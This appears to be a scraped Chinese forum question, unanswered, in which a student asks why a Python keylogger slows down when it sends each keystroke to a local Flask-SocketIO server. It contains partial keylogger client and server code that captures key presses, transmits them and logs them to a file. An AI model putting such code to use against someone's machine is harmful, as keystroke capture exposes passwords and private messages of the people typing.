让我首先提到我对Python和使用套接字是新手
作为一个大学项目,我正在使用Python构建一个键盘记录器。每次击键都必须从键盘记录器(客户端)发送到flask socketIO服务器(也是Python)
问题:
客户端成功连接到服务器,并且能够传输记录的密钥。然而,程序变得非常慢。将记录的击键发送到服务器需要约2秒的处理时间。因此,它无法检测每一次击键,并且在客户端运行时,在目标机器上键入任何内容也会变得非常慢。因此,键盘记录器无法使用
这是服务器端的代码片段:
from flask import Flask, render_template
from flask_socketio import SocketIO, emit
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app)
@socketio.on('keylogger')
def print_keys(data):
print(data["keylogged"])
if __name__ == '__main__':
socketio.run(app)
在客户端,我首先通过以下方式连接到服务器:
socketIO = SocketIO('localhost', 5000,
LoggingNamespace)
然后在on_press key事件中发送每次击键
def on_press(key):
global keys, count, currentTime
print(key)
keys.append(key)
count += 1
currentTime = time.time()
if count >= 1:
count = 0
socketIO.emit('keylogger', {"keylogged": str(key)})
write_to_file(keys)
keys = []
我一天来一直在想这个问题,但由于我缺乏使用插座的经验,所以我无法解决,这让我感到困扰。在这件事上的任何帮助都是很有价值的。提前谢谢
目前没有回答
相关问题 更多 >
编程相关推荐